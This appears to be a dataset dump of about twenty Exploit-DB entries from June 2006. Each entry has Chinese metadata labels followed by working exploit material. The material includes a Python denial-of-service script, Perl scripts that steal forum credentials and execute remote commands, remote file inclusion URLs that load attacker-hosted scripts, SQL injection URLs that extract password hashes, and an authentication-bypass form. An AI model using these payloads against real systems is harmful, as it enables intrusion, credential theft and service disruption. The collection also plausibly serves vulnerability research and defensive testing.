QLWD/code_shield huggingface dataset:
标题: 0verkill 0.16 - ASCII-ART Game Remote Integer Overflow Crash (PoC) EDB-ID: 1894 CVE: 2006-2971 类型: DOS 平台: LINUX 发布日期: 2006-06-09 漏洞利用脚本: #!/usr/bin/env python
#
# -----------------------------------------------------
# Exploit id: FSE:016
#
# Author:     Federico Fazzi
# Contact:    federico@autistici.org
# Date:     09/06/2006, 13:58
# Sinthesis:  0verkill 0.16, Remote integer overflow
# Product:    http://artax.karlin.mff.cuni.cz/~brain/0verkill/
# -----------------------------------------------------
#
# Start with:
# python f_0k-0.1.py <remote_addr> <remote_port>
#

# Proof of concept:
# (gdb) run
# Starting program: /home/federico/0verkill-0.16/server
# 9. 6.2006 14:18:07  Running 0verkill server version 0.16
# 9. 6.2006 14:18:07  Initialization.
# 9. 6.2006 14:18:07  Loading sprites.
# 9. 6.2006 14:18:07  Loading level "level1"....
# 9. 6.2006 14:18:07  Loading level graphics.
# 9. 6.2006 14:18:08  Loading level map.
# 9. 6.2006 14:18:08  Loading level objects.
# 9. 6.2006 14:18:08  Initializing socket.
# 9. 6.2006 14:18:08  Installing signal handlers.
# 9. 6.2006 14:18:08  Game started.
# 9. 6.2006 14:18:08  Sleep
# 9. 6.2006 14:18:10  Wakeup
#
# (run python f_0k-0.6.py)
#
# Program received signal SIGSEGV, Segmentation fault.
# crc32 (buf=0x837a000 <Address 0x837a000 out of bounds>, len=4294967288) at crc32.c:82
# warning: Source file is more recent than executable.
# 82            DO8(buf);
#
# #0  0x0805b54a in recv_packet (packet=0x805fd20 "",
# max_len=256, addr=0xf18df475, addr_len=0xf18df475, sender_server=0, recipient=0,
# sender=0xbfcf6d54) at net.c:94
# 94              if (crc!=crc32(packet,retval-12))return -1;
#
# limits byte receive is 12, if you send an inferior number of it
# the game crash.

import os, sys
from socket import *

usage = "run: python %s [remote_addr] [remote_port] " % os.path.basename(sys.argv[0])

if len(sys.argv) < 3: 
 print usage 
 sys.exit()

host = sys.argv[1]
port = int(sys.argv[2])

sock = socket(AF_INET, SOCK_DGRAM)
sock.connect((host, port))

print "connecting.. ",
if sock > 0:
    print "done!"
else:
    print "wrong!"

print "crashing the server.. ",
if sock.sendto('0x00' , (host, port)):
    print "done!"
else:
    print "wrong!"

print "wait five seconds, if no data found press CTRL+C"
try:
 reply = sock.recvfrom(512)
 print reply
except:
 print "no data receive!"
 sys.exit()

# milw0rm.com [2006-06-09] URL: https://www.exploit-db.com/exploits/1894
标题: OpenEMR 2.8.1 - 'fileroot' Remote File Inclusion EDB-ID: 1886 CVE: 2006-2929 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-07 漏洞利用脚本: $$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  OpenEMR <= 2.8.1 Remote File Include Vulnerability
$$  Script site: http://sourceforge.net/projects/openemr/
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
Expl:

http://www.site.com/[OpenEMR_path]/contrib/forms/evaluation/C_FormEvaluation.class.php?GLOBALS[fileroot]=[evil_scripts]


#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-06-07] URL: https://www.exploit-db.com/exploits/1886
标题: WebprojectDB 0.1.3 - 'INCDIR' Remote File Inclusion EDB-ID: 1898 CVE: 2006-2995 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-11 漏洞利用脚本: $$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  WebprojectDB (INCDIR) <= v.0.1.3 Remote File Include Vulnerability
$$  script site: http://sourceforge.net/projects/webprojectdb/
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
/*
In nav.php: (2-19)
.....
// Site Navigation: the top strip of links and all the authentication
issues.

include "$INCDIR/auth.php";        // auth_xxx plugins
include "$INCDIR/sitemap.php";


// maybe do on-demand loading here some day.
function get_page($pagename) {
   global $SITEMAP;
   return isset($SITEMAP[$pagename]) ? $SITEMAP[$pagename] : '';
}


// show the path up to $pagename
function nav_path($pagename,$level=0) {
   global $project_id, $projectcat_id, $thread_id, $forum_id;
   global $msg_id, $org_id;
   global $SESSION_VAR, $url_path;
.....
*/
#Expl:


http://www.site.com/[WebprojectDB_path]/include/nav.php?INCDIR=[evil_scripts]

http://www.site.com/[WebprojectDB_path]/include/lang.php?INCDIR=[evil_scripts]


#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-06-11] URL: https://www.exploit-db.com/exploits/1898
标题: D-Link DWL Series Access-Point 2.10na - Config Disclosure EDB-ID: 1889 CVE: 2006-2901 类型: REMOTE 平台: HARDWARE 发布日期: 2006-06-08 漏洞利用脚本: # ADVISORY/0206 - D-Link Wireless Access-Point (DWL-2100ap)
# INTRUDERS TIGER TEAM SECURITY - SECURITY ADVISORY
# http://www.intruders.com.br/ , http://www.intruders.org.br/

Making a HTTP request to the /cgi-bin/ directory, the Web server will return error 404 (Page not found).
Making a HTTP request to the /cgi-bin/AnyFile.htm, the Web server will return error 404 (Page not found).
However, making a HTTP request to any file in /cgi-bin/ directory, with .cfg extension, will return all the device configuration.

For example, making the following request:

http://dlink-DWL-2100ap/cgi-bin/Intruders.cfg
We would have a result equivalent to the following:

# Copyright (c) 2002 Atheros Communications, Inc., All Rights Reserved
# DO NOT EDIT -- This configuration file is automatically generated
magic Ar52xxAP
fwc: 34
login admin
DHCPServer
Eth_Acl
nameaddr
domainsuffix
IP_Addr 10.0.0.30
IP_Mask 255.0.0.0
Gateway_Addr 10.0.0.1
RADIUSaddr
RADIUSport 1812
RADIUSsecret
password IntrudersTest
passphrase
wlan1 passphrase AnewBadPassPhrase
# Several lines removed.

# milw0rm.com [2006-06-08] URL: https://www.exploit-db.com/exploits/1889
标题: CMS-Bandits 2.5 - 'spaw_root' Remote File Inclusion EDB-ID: 1890 CVE: 2006-2928 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-08 漏洞利用脚本: # Author:     Federico Fazzi
# Contact:    federico@autistici.org
# Date:       08/06/2006, 11:09
# Sinthesis:  cms-bandits 2.5, Remote file disclosure
# Product:    http://sourceforge.net/projects/cms-bandits

http://[site]/[cms-bandits]/dialogs/td.php?spaw_root=[evil script]
http://[site]/[cms-bandits]/dialogs/img.php?spaw_root=[evil script]

# milw0rm.com [2006-06-08] URL: https://www.exploit-db.com/exploits/1890
标题: Particle Wiki 1.0.2 - SQL Injection EDB-ID: 1878 CVE: 2006-2861 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-05 漏洞利用脚本: # Particle wiki <= 1.0.2 Remote SQL_Injection - Username/Password(hash) Extractor
# Thanks to UNSECURED SYSTEMS : http://pridels.blogspot.com/2006/06/particle-wiki-sql-inj.html
# Exploited by FarhadKey from http://www.kapda.ir

Username :
http://wiki.particlesoft.net/index.php?version=-1%20union%20select%201,1,1,1,1,username%20from%20pwiki_users%20/*
Password :
http://wiki.particlesoft.net/index.php?version=-1%20union%20select%201,1,1,1,1,password%20from%20pwiki_users%20/*

# milw0rm.com [2006-06-05] URL: https://www.exploit-db.com/exploits/1878
标题: Dmx Forum 2.1a - 'edit.php' Remote Password Disclosure EDB-ID: 1882 CVE: 2006-2947 2006-2946 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-05 漏洞利用脚本: #!/usr/bin/perl
#
# by DarkFig -- www.acid-root.new.fr
#
use LWP::Simple;

if ( !$ARGV[1] ) {
header();
print "\n| Usage: <url> <member_id> ----------------|";
print "\n+------------------------------------------+";
print "\n| Example: http://localhost/dmx/ 1   ------|";
end();
}

sub header {
print "\n+------------------------------------------+";
print "\n| Dmx Forum <= v2.1a SQL Injection Exploit |";
print "\n+------------------------------------------+";
}

sub end {
print "\n+------------------------------------------+\n";
exit;
}

$err0 = "\n[-]Can't connect to the host !";

header();
$url = "$ARGV[0]"."pops/edit.php?membre="."$ARGV[1]";
$req = get($url) or print "$err0";

if( $req =~ /input name="pseudo" type="text" id="pseudo" value="(.*?)"/ ){
print "\n [+]Username: $1";
$req =~ /input name="pwd" type="password" id="pwd" value="(.*?)"/ , print "\n [+]Password: $1";
$req =~ /input name="email" type="text" id="email" value="(.*?)"/ , print "\n [+]Email: $1";} else {print "\n[-]Part 1 failed !";}


$url2 = "$ARGV[0]"."_includes/bd.inc";
$req2 = get($url2) or print "$err0";
if($req2 =~ /host = "(.*?)";/)
{print "\n[+]DBHOST: $1";
$req2 =~ /user = "(.*?)";/;print "\n[+]DBUSER: $1";
$req2 =~ /pass = "(.*?)";/;print "\n[+]DBPASS: $1";
$req2 =~ /bdd = "(.*?)";/;print "\n[+]DBNAME: $1";
} else {print "\n[-]Part 2 failed !";}

end();

# milw0rm.com [2006-06-05] URL: https://www.exploit-db.com/exploits/1882
标题: DreamAccount 3.1 - 'da_path' Remote File Inclusion EDB-ID: 1881 CVE: 2006-2881 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-05 漏洞利用脚本: Title: DreamAccount <= 3.1 - Remote File Include Vulnerability
-----------------------------------------------------------------
Vendor: dreamcost.com
URL: http://dreamcost.com
-----------------------------------------------------------------

Credits:
Discovered by: 'Aesthetico'
http://www.majorsecurity.de
-----------------------------------------------------------------
Search for: "powered by DreamAccount"
-----------------------------------------------------------------

Exploitation:

/auth.cookie.inc.php?da_path=http://www.yourspace.com/yourscript.php?
/auth.header.inc.php?da_path=http://www.yourspace.com/yourscript.php?
/auth.sessions.inc.php?da_path=http://www.yourspace.com/yourscript.php?

# milw0rm.com [2006-06-05] URL: https://www.exploit-db.com/exploits/1881
标题: SCart 2.0 - 'page' Remote Code Execution EDB-ID: 1876 CVE: 2006-7012 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-04 漏洞利用脚本: #!/usr/bin/perl
##
#     SCart 2.0 Remote Code Execution Exploit
#          Bugs Found & code By K-159
#               
## base on advisory at http://advisories.echo.or.id/adv/adv32-K-159-2006.txt
#   
#  echo.or.id (c) 2006
#
##
# usage:
# perl scart.pl <target> </path/> "cmd"
#
# Google Dork : site: scartserver.com
#
# Greetz: my soul mate,echo|staff,aikmel|crew,masterpop3,SinChan,rizal,etc
#
# Contact: eufrato[at]gmail.com www.echo.or.id #e-c-h-o @irc.dal.net
#
use IO::Socket;
use LWP::Simple;

sub Usage {
print STDERR "\n ========================================================= \r\n";
print STDERR "      *SCart 2.0 Remote Code Execution Exploit* \r\n";
print STDERR "                Bugs Found by K-159 \r\n";
print STDERR "         www.echo.or.id #e-c-h-o irc.dal.net \r\n";
print STDERR "        Usage: $0 <www.target.com> </path/> \"cmd\" \r\n";
print STDERR "============================================================= \r\n";
exit;
}

if (@ARGV < 3)
{
 Usage();
}


$host = @ARGV[0];
$path = @ARGV[1];
$command = @ARGV[2];

print "\n[+] Conecting to $host\n";

my $result = get("http://$host$path/scart.cgi?action=show_page&base= base2.html&page=browse.txt|$command|");

if (defined $result) {
print $result;
}
else {
print "Exploit Failed.\n";
} 

# milw0rm.com [2006-06-04] URL: https://www.exploit-db.com/exploits/1876
标题: Wikiwig 4.1 - 'wk_lang.php' Remote File Inclusion EDB-ID: 1883 CVE: 2006-2888 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-06 漏洞利用脚本: $$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  Wikiwig <= V4.1 Remote File Include Vulnerability
$$  Script site: http://wikiwig.sourceforge.net/
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
Expl:


http://www.site.com/[wikiwig-V4.1]/_wk/wk_lang.php?WK[wkPath]=[evil_scripts]


#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-06-06] URL: https://www.exploit-db.com/exploits/1883
标题: dotWidget CMS 1.0.6 - 'file_path' Remote File Inclusion EDB-ID: 1879 CVE: 2006-2852 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-05 漏洞利用脚本: Title: dotWidget CMS <= 1.0.6 - Remote File Include Vulnerability
-----------------------------------------------------------------
Vendor: dotWidget
URL: http://dotwigdet.com
-----------------------------------------------------------------

Credits:
Discovered by: 'Aesthetico'
http://www.majorsecurity.de
-----------------------------------------------------------------
Search for: "dotwidget Printer-friendly"
-----------------------------------------------------------------

Exploitation:

/index.php?file_path=http://www.yourspace.com/yourscript.php?
/feedback.php?file_path=http://www.yourspace.com/yourscript.php?
/printfriendly.php?file_path=http://www.yourspace.com/yourscript.php?

EvilCookie <dorshirl[at]zahav.net.il> submitted these extra file_path issues.

/includes/common.inc?file_path=http://www.yourspace.com/yourscript.php?
/includes/nav.inc?file_path=http://www.yourspace.com/yourscript.php?
/admin/dotwidgetc_config.php?file_path=http://www.yourspace.com/yourscript.php?

# milw0rm.com [2006-06-05] URL: https://www.exploit-db.com/exploits/1879
标题: CS-Cart 1.3.3 - 'classes_dir' Remote File Inclusion EDB-ID: 1872 CVE: 2006-2863 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-03 漏洞利用脚本: $$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  CS-Cart 1.3.3 (classes_dir) <= Remote File Include Vulnerability
$$  Script site: http://www.cs-cart.com
$$  Dork: Powered by CS-Cart - Shopping Cart Software
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

Expl:

http://www.site.com/[CS-Cart_path]/classes/phpmailer/class.cs_phpmailer.php?classes_dir=[evil_scripts]

#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-06-03] URL: https://www.exploit-db.com/exploits/1872
标题: WebspotBlogging 3.0.1 - 'path' Remote File Inclusion EDB-ID: 1871 CVE: 2006-2860 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-03 漏洞利用脚本: $$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  Webspotblogging 3.0.1 (path) <= Remote File Include Vulnerability
$$  Script site: http://blogging.webspot.co.uk/
$$  dork: Powered by WebspotBlogging
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
/*
inc/logincheck.inc.php:
[code]
....
include($path."inc/footer.inc.php");
exit();
 }
....
[/code]
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 And more verbs in
 inc/adminheader.inc.php
 inc/global.php
 inc/mainheader.inc.php
*/

Expl:

http://www.site.com/[Webspotblogging_path]/inc/logincheck.inc.php?path=[evil_scripts]
http://www.site.com/[Webspotblogging_path]/inc/adminheader.inc.php?path=[evil_scripts]
http://www.site.com/[Webspotblogging_path]/inc/global.php?path=[evil_scripts]
http://www.site.com/[Webspotblogging_path]/inc/mainheader.inc.php?path=[evil_scripts]

#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-06-03] URL: https://www.exploit-db.com/exploits/1871
标题: myNewsletter 1.1.2 - 'adminLogin.asp' Authentication Bypass EDB-ID: 1884 CVE: 2006-2887 类型: WEBAPPS 平台: ASP 发布日期: 2006-06-06 漏洞利用脚本: <!-- orginal advisory : http://www.kapda.ir/advisory-340.html -->
<html><center><h4>KAPDA.ir --- myNewsletter <= 1.1.2 Login bypass exploit</h4><br>change action in source and then submit
</center><form name="adminLogin" method="post" action="http://site/newsletter/adminLogin.asp">
<input type="hidden" name="UserName" value="<!--'union select 1 from Newsletter_Admin where ''='">
<input type="hidden" name="Password" value="1">
<center><br><input type="submit" name="Submit" value="Login"></center><br><br>
<!-- Discovered and coded by FarhadKey / email : farhadkey [aT} kapda {D0T} net -->
<center><a href="http://www.kapda.ir">www.kapda.ir</a></center>
</form>
</html>

# milw0rm.com [2006-06-06] URL: https://www.exploit-db.com/exploits/1884
标题: PHP-Nuke 7.9 Final - 'phpbb_root_path' Remote File Inclusions EDB-ID: 1866 CVE: 2006-2828 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-02 漏洞利用脚本: # Milli-Harekat Advisory ( www.milli-harekat.org )
# PHP-Nuke <= All version - Remote File Include Vulnerabilities
# Risk : High
# Class: Remote
# Script : PHP NUKE ALL VERSION
# Credits : ERNE
# Thanks : Dj_ReMix,Eskobar,TR_IP,ÃŸy KorsaN,OsL3m7,Poizonbox,Di_lejyoner and All MHG USERS
# Vulnerable :

http://www.site.com/modules/Forums/admin/index.php?phpbb_root_path=[evil_scripts]
http://www.site.com/modules/Forums/admin/admin_ug_auth.php?phpbb_root_path=[evil_scripts]
http://www.site.com/modules/Forums/admin/admin_board.php?phpbb_root_path=[evil_scripts]
http://www.site.com/modules/Forums/admin/admin_disallow.php?phpbb_root_path=[evil_scripts]
http://www.site.com/modules/Forums/admin/admin_forumauth.php?phpbb_root_path=[evil_scripts]
http://www.site.com/modules/Forums/admin/admin_groups.php?phpbb_root_path=[evil_scripts]
http://www.site.com/modules/Forums/admin/admin_ranks.php?phpbb_root_path=[evil_scripts]
http://www.site.com/modules/Forums/admin/admin_styles.php?phpbb_root_path=[evil_scripts]
http://www.site.com/modules/Forums/admin/admin_user_ban.php?phpbb_root_path=[evil_scripts]
http://www.site.com/modules/Forums/admin/admin_words.php?phpbb_root_path=[evil_scripts]
http://www.site.com/modules/Forums/admin/admin_avatar.php?phpbb_root_path=[evil_scripts]
http://www.site.com/modules/Forums/admin/admin_db_utilities.php?phpbb_root_path=[evil_scripts]
http://www.site.com/modules/Forums/admin/admin_forum_prune.php?phpbb_root_path=[evil_scripts]
http://www.site.com/modules/Forums/admin/admin_forums.php?phpbb_root_path=[evil_scripts]
http://www.site.com/modules/Forums/admin/admin_mass_email.php?phpbb_root_path=[evil_scripts]
http://www.site.com/modules/Forums/admin/admin_smilies.php?phpbb_root_path=[evil_scripts]
http://www.site.com/modules/Forums/admin/admin_ug_auth.php?phpbb_root_path=[evil_scripts]
http://www.site.com/modules/Forums/admin/admin_users.php?phpbb_root_path=[evil_scripts]

# milw0rm.com [2006-06-02] URL: https://www.exploit-db.com/exploits/1866
标题: BlueShoes Framework 4.6 - Remote File Inclusion EDB-ID: 1870 CVE: 2006-2864 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-03 漏洞利用脚本: $$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  BlueShoes Framework 4.6 <= Remote File Include Vulnerability
$$  Script site: http://www.blueshoes.org/
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

Expl:

http://www.site.com/[BlueShoes_path]/applications/faq/Bs_Faq.class.php?APP[path][applications]=[evil_scripts]

http://www.site.com/[BlueShoes_path]/applications/filebrowser/fileBrowserInner.php?APP[path][core]=[evil_scripts]

http://www.site.com/[BlueShoes_path]/applications/filemanager/file.php?APP[path][core]=[evil_scripts]

http://www.site.com/[BlueShoes_path]/applications/filemanager/viewer.php?APP[path][core]=[evil_scripts]

http://www.site.com/[BlueShoes_path]/applications/imagearchive/Bs_ImageArchive.class.php?APP[path][core]=[evil_scripts]

http://www.site.com/[BlueShoes_path]/applications/mailinglist/Bs_Ml_User.class.php?GLOBALS[APP][path][core]=[evil_scripts]

http://www.site.com/[BlueShoes_path]/applications/websearchengine/Bs_Wse_Profile.class.php?APP[path][plugins]=[evil_scripts]

#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-06-03] URL: https://www.exploit-db.com/exploits/1870
标题: Informium 0.12.0 - 'common-menu.php' Remote File Inclusion EDB-ID: 1865 CVE: 2006-2818 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-02 漏洞利用脚本: ################ DEVIL TEAM THE BEST POLISH TEAM #################
#
# Informium 0.12.0 - Remote File Include Vulnerabilities
# Script site: http://prdownloads.sourceforge.net/informium/
# Find by Kacper (Rahim).
# Greetings; DragonHeart, Satan, Leito, Leon, Luzak, Adam, DeathSpeed, Drzewko, pepi
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Special greetz DragonHeart :***
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
#
##################################################################
Expl:

http://www.site.com/[Informium_path]/admin/common-menu.php?CONF[local_path]=[evil_scripts]

# milw0rm.com [2006-06-02] URL: https://www.exploit-db.com/exploits/1865
标题: Bytehoard 2.1 - 'server.php' Remote File Inclusion EDB-ID: 1860 CVE: 2006-2849 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-01 漏洞利用脚本: Script: Bytehoard 2.1 Epsilon/Delta  www.bytehoard.org
Discovered: beford <xbefordx gmail com>
File: ./bytehoard/includes/webdav/server.php
Vuln: Remote File Include

[code]
require_once $bhconfig['bhfilepath']."/includes/webdav/_parse_propfind.php";
[/code]


http://url.com/bytehoard/includes/webdav/server.php?bhconfig[bhfilepath]=attacker

# milw0rm.com [2006-06-01] URL: https://www.exploit-db.com/exploits/1860
标题: AssoCIateD CMS 1.1.3 - 'ROOT_PATH' Remote File Inclusion EDB-ID: 1858 CVE: 2006-2841 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-01 漏洞利用脚本: ################ DEVIL TEAM THE BEST POLISH TEAM #################
#
# ACID v1.1.3 CMS (root_path) - Remote File Include Vulnerabilities
# Script site: http://herve.labas.free.fr/acid/en/
# Find by Kacper (Rahim).
# Greetings; DragonHeart, Satan, Leito, Leon, Luzak, Adam, DeathSpeed, Drzewko, pepi
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Special greetz DragonHeart :***
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
#
##################################################################


http://www.site.com/[ACID_path]/admin/menu.php?root_path=[evil_scripts]
http://www.site.com/[ACID_path]/admin/profile.php?root_path=[evil_scripts]
http://www.site.com/[ACID_path]/admin/users.php?root_path=[evil_scripts]
http://www.site.com/[ACID_path]/includes/cache_mngt.php?root_path=[evil_scripts]
http://www.site.com/[ACID_path]/includes/gallery_functions.php?root_path=[evil_scripts]

# milw0rm.com [2006-06-01] URL: https://www.exploit-db.com/exploits/1858